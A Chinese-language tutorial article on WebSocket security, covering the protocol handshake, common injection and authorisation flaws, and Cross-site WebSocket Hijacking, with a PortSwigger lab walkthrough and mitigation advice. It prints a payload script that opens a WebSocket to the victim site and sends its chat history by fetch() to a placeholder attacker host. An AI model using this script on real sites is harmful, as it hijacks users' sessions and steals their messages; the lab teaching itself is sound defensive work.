WebSocket安全性分析，你看懂了嗎？

作者：?Notadmin 2023-06-27 07:09:39

如果客戶端發(fā)來的 Origin 信息來自不同域，服務器端可以拒絕該請求。但是僅僅檢查 Origin 仍然是不夠安全的，惡意網(wǎng)頁可以偽造Origin頭信息，繞過服務端對Origin頭的檢查，更完善的解決方案可以借鑒CSRF的解決方案-令牌機制。

websocket簡介

WebSocket 是HTML5一種新的網(wǎng)絡傳輸協(xié)議，位于 OSI 模型的應用層，可在單個TCP連接上進行全雙工通信。WebSocket 建議于 TCP 協(xié)議之上，與 HTTP 協(xié)議有良好的兼容性。協(xié)議標識符是ws；如果加密，則為wss。

WebSocket與HTTP的區(qū)別

HTTP協(xié)議時請求-響應式的，一般是一個請求建立一次握手，在HTTP1.1版本開始，TCP連接可別復用。

HTTP協(xié)議只能由客戶端發(fā)送信息到服務端，服務端做出響應。

WebSocket通信是雙向的，既可以由客戶端發(fā)送信息，到服務端。也可以有服務端發(fā)送信息到客戶端。

WebSocket通信建立過程

websocket通常是由客戶端JavaScript腳本創(chuàng)建

var ws = new WebSocket("wss://normal-website.com/chat");

為了建立連接，會通過HTTP協(xié)議發(fā)送一個請求，告訴服務器接下來要使用websocket進行通信，如果服務器同意請求，接下來就會進行三次握手。

1686294004_6482cdf4d2e772119d075.png!small?1686294005590

WebSocket 握手消息的幾個特性值得注意：

請求和響應中的Connection和Upgrade標頭表明這是一次 WebSocket 握手。

Sec-WebSocket-Version請求頭指定WebSocket協(xié)議版本的客戶端希望使用。通常是13.

Sec-WebSocket-Key請求報頭包含Base64編碼的隨機值，這應該在每個握手請求是隨機產(chǎn)生的。并不是用于身份認證的。

Sec-WebSocket-Accept響應報頭包含在提交的值的散列Sec-WebSocket-Key請求頭，具有在協(xié)議規(guī)范中定義的特定的字符串串聯(lián)。這樣做是為了防止錯誤配置的服務器或緩存代理導致誤導性響應。

三次握手以后表示建立了客戶端與服務端建立websocket連接，可以通過websocket協(xié)議進行通信。

ws.send("hello websocket");

由于TCP協(xié)議是復用的，所以可以通過一次連接，發(fā)送多個信息。

1686294062_6482ce2ed13a9aa6a4f99.png!small?1686294063448

原則上，WebSocket 消息可以包含任何內(nèi)容或數(shù)據(jù)格式。在現(xiàn)代應用程序中，通常使用 JSON 在 WebSocket 消息中發(fā)送結構化數(shù)據(jù)。

WebSocket使用場景

基于WebSocket全雙工、延遲的特性，應用場景比較廣泛。

聊天
彈幕
協(xié)同編輯
股票報價實施更新
位置更新
直播實況段落的首行要

WebSocket安全性分析

websocket僅僅是web程序中的一種通信協(xié)議，并不會解決web應用中存在的安全問題。因此在HTTP協(xié)議中出現(xiàn)的安全問題在websocket中都可能出現(xiàn)。

目前對于HTTP協(xié)議的漏洞已經(jīng)很少了，可以去看看websocket協(xié)議的，說不定會有意想不到的發(fā)現(xiàn)。

1.常規(guī)漏洞

WebSocket中，用戶輸入可控的請求數(shù)據(jù)，數(shù)據(jù)被服務端進行處理，如果沒有進行有限的校驗，可能出現(xiàn)常見的Web漏洞，如XSS、SQL Inject、RCE等。

如下圖，正常發(fā)送會發(fā)現(xiàn)進行編碼

1686294500_6482cfe4560a520b4223c.png!small?1686294501018

可以直接抓包重放，改變值，成功利用。實際上跟http協(xié)議沒有什么區(qū)別。

1686294509_6482cfed974210c835d07.png!small?1686294510349

2.權限

認證

websocket協(xié)議沒有規(guī)定在服務器在握手階段應該如何認證客戶端身份。服務器可以采用任何 HTTP 服務器的客戶端身份認證機制，如 cookie認證，HTTP 基礎認證，TLS 身份認證等。

因此，認證實現(xiàn)方面的安全問題與基于HTTP的Web認證并無區(qū)別。

如CVE-2015-0201，Spring框架的Java SockJS客戶端生成可預測的會話ID，攻擊者可利用該漏洞向其他會話發(fā)送消息

授權

WebSocket 協(xié)議依然沒有指定任何授權方式，因此關于權限的相關策略依然得依賴開發(fā)者在服務端實現(xiàn)，這就說明通過websocket協(xié)議與傳統(tǒng)的http協(xié)議面臨相同的安全風險，如垂直越權和水平越權。

3.基于webSocket的CSRF漏洞（跨域請求/CSWSH）

該漏洞全稱叫做Cross-site WebSocket Hijacking，跨站點WebSocket劫持漏洞。當WebSocket握手請求僅依靠HTTP cookie進行會話處理并且不包含任何CSRF token或其他不可預測的值時，就會出現(xiàn)這種漏洞。

判斷websocket中是否存在跨域問題

檢查應用程序執(zhí)行的WebSocket握手過程是否針對CSRF進行了保護。除了在cookie中該消息不依賴其它的值進行會話處理。如下面的請求僅僅依靠session token來進行會話處理，那么就會存在這種漏洞。

1686294535_6482d00739e9ede4566c2.png!small?1686294536047

通過portSwigger的靶場進行復現(xiàn)

Lab: Cross-site WebSocket hijacking

在live chat中首先驗證websocket是否存在csrf。可以看到僅僅依靠cookie來進行會話處理，說明存在漏洞

1686294558_6482d01e0724a95846cbd.png!small?1686294558694

在確認存在這個漏洞以后，我們就要去編寫我們的payload，首先我們發(fā)現(xiàn)在建立websocket連接以后，發(fā)送READY字符串，服務端就會把歷史聊天記錄返回，那么我們就通過這種方式去利用。

1686294563_6482d023a161e00440e69.png!small?1686294564415

首先通過new websocket與服務端建立連接，然后通過ws.send('READY')像服務端發(fā)送READY。當服務端收到READY字符串時，就會把歷史的聊天記錄返回回來。這個js收到歷史記錄以后就可以訪問burp的collaborator并帶著敏感數(shù)據(jù)。

payload如下：

<script>
// Create WebSocket connection.
var ws = new WebSocket("wss://web-security-academy.net/chat");
// Connection opened
ws.addEventListener('open', function (event) {
ws.send('READY');
});
// Listen for messages
ws.onmessage = function(event) {
fetch('https://you-site.net/?log'+event.data, {mode: 'no-cors'})
};
</script>

在portSwigger的exploit server中設置自己的payload

1686294605_6482d04dba51aab951f35.png!small?1686294606435

設置好payload，然后讓登錄的瀏覽器去訪問。在這個靶場也就是點擊Deliver exploit to victim

1686294621_6482d05d0608dbe4d74c2.png!small?1686294621581

然后再burp上就可以看到信息

1686294630_6482d0667a6b0b8527711.png!small?1686294631105

這種漏洞的一種修復方式就是在服務端驗證Origin頭，如果客戶端發(fā)來的 Origin 信息來自不同域，服務器端可以拒絕該請求。但是僅僅檢查 Origin 仍然是不夠安全的，惡意網(wǎng)頁可以偽造Origin頭信息，繞過服務端對Origin頭的檢查，更完善的解決方案可以借鑒CSRF的解決方案-令牌機制。

websocket安全問題如何預防

正確驗證輸入輸出的數(shù)據(jù)，跟http協(xié)議一樣
使用CSRF Token、請求頭令牌等方案保護WebSocket握手流程，防止WebSocket握手流程被CSRF攻擊所利用。
使用wss://協(xié)議，（基于TLS的Websockets）
在服務器進行授權，防止越權的產(chǎn)生。

參考鏈接

https://www.freebuf.com/articles/web/336291.html

https://security.tencent.com/index.php/blog/msg/119

https://freebuf.com/vuls/328279.html

責任編輯：武曉燕來源： ???FreeBuf.COM

Origin 安全信息